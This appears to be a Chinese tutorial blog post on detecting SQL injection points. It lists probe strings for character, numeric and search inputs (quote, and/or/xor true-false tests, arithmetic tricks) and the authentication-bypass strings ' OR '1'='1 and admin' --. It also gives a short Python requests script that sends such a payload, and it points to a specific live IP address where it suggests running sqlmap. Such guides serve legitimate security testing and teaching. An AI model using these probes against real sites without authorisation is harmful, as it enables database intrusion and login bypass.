sql注入点的判断

本文详细介绍如何通过单引号、and、or及xor等方法判断网站是否存在SQL注入漏洞,包括字符型、数字型和搜索型输入域的测试策略,以及如何构造测试预期结果变种。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

最为经典的单引号判断法: 在参数后面加上单引号,比如:

http://xxx/abc.php?id=1'

如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

输入域的值为字符型

  ‘and '1'='1 和 ’and '1'='2来判断
  http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。          
  http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。
构造测试                            预期结果                                 变种
a'                      //触发错误,返回数据库错误                              
a' or '1'='1            //永真条件,返回所有记录                   a') or ('1'=1   
a' or '1'='2            //空条件,返回原来相同结果                  a') or ('1'=2
a' and '1'='2           //永假条件,不返回记录                      a') and ('1'='2
  • 1
  • 2
  • 3
  • 4
  • 5

输入域的值为数字型

用1=1,1=2法

若满足条件,则存在SQL注入漏洞,程序没有对提交的整型参数的合法性做过滤或判断

    http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
    http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
构造测试                            预期结果                                 变种
'                       //触发错误,返回数据库错误                  
1+1                     //返回原来相同的结果                           3-1
1+0                     //返回原来相同的结果                     
1 or 1=1                //永真条件,返回所有记录                        1) or (1=1
1 or 1=2                //空条件,返回原来相同的结果                     1) or (1=2
1 and 1=2               //永假条件,不返回记录                          1) and (1=2
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
1.单引号判断
    http://www.xxx.com/xxx.asp?id=10' 如果出现错误提示,则该网站可能就存在注入漏洞。

2.and判断
    http://www.xxx.com/xxx.asp?id=10'and 1=1这个条件永远都是真的,所以当然返回是正常页
    http://www.xxx.com/xxx.asp?id=10'and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。

3.Or判断(OR是提交返回正确有注入点)
    http://www.xxx.com/xxx.asp?id=10'or 1=1
    http://www.xxx.com/xxx.asp?id=10'or 1=2

4.xor判断(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点。)
    http://www.xxx.com/xxx.asp?id=10'xor 1=1
    http://www.xxx.com/xxx.asp?id=10'xor 1=2

5.加减号数字判断(加上-1,返回错误页面,则也表示存在注入漏洞.)
    http://www.xxx.com/xxx.asp?id=10-0
    http://www.xxx.com/xxx.asp?id=10-1
    http://www.xxx.com/xxx.asp?id=10+1

6.输入框判断
    可以使用特殊符号去判断
    #@!$/ ...

http://120.24.86.145:9001/sql/
登录框注入,使用#,--都无效,但是使用\报错,这时候上sqlmap,发现可以注入。

输入域的值为搜索型

  在输入框输入%'and '1'='1' and '%'='
            %'and '1'='2' and '%'='
两次查询出来的结果不相同,那么就可以确定存在注入了。

服务端返回错误形式

 1. 错误直接回显在页面上
 2. 错误隐藏在页面源代码中
 3. 检测到错误跳转到另一个页面
 4. 返回HTTP错误代码500或重定向302
 5. 适当处理错误结果,常显示一个通用错误页面
### 如何确定SQL注入点 在Web应用程序中,任何地方如果允许用户输入并将其作为参数传递给SQL查询而未经适当验证或转义,则可能成为SQL注入点。通常情况下,这些位置包括但不限于表单提交、URL中的GET请求参数以及HTTP头信息。 对于具体的检测方法: - **手工测试**:通过向潜在的入口点(如登录框、搜索栏等)输入特殊字符组合来观察响应行为的变化可以初步判断是否存在SQL注入风险。例如尝试使用 `' OR '1'='1` 或 `admin' --` 这样的字符串看是否会绕过身份认证或者返回异常的结果集[^1]。 - **自动化扫描工具**:利用专门设计用于发现Web应用安全缺陷的软件来进行全面审查也是一种有效手段。这类工具能够自动探测网站上的各种交互接口,并模拟多种类型的攻击模式以识别出易受攻击之处[^5]。 为了更精确地定位到实际存在的SQL注入点,还需要考虑以下几个方面: #### 数据库驱动程序的选择 当采用PHP Data Objects (PDO) 扩展时,由于它支持预处理语句功能,因此即使用户提供了恶意构造的内容也会被当作纯粹的数据对待而不影响原有命令结构的安全性;相反如果没有启用此特性则更容易遭受此类威胁[^3]。 #### 输入源多样性 除了常规的HTML页面元素外,还需注意那些隐藏于HTTP协议内部的信息也可能成为突破口,比如Cookie值、Referer地址甚至是自定义Header字段都可能是隐患所在[^4]。 ```python import requests def test_sql_injection(url, param_name): payload = {param_name: "' OR '1'='1"} response = requests.get(url, params=payload) if "error in your SQL syntax" in response.text.lower(): print(f"[!] Potential SQL Injection found at parameter '{param_name}'!") ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值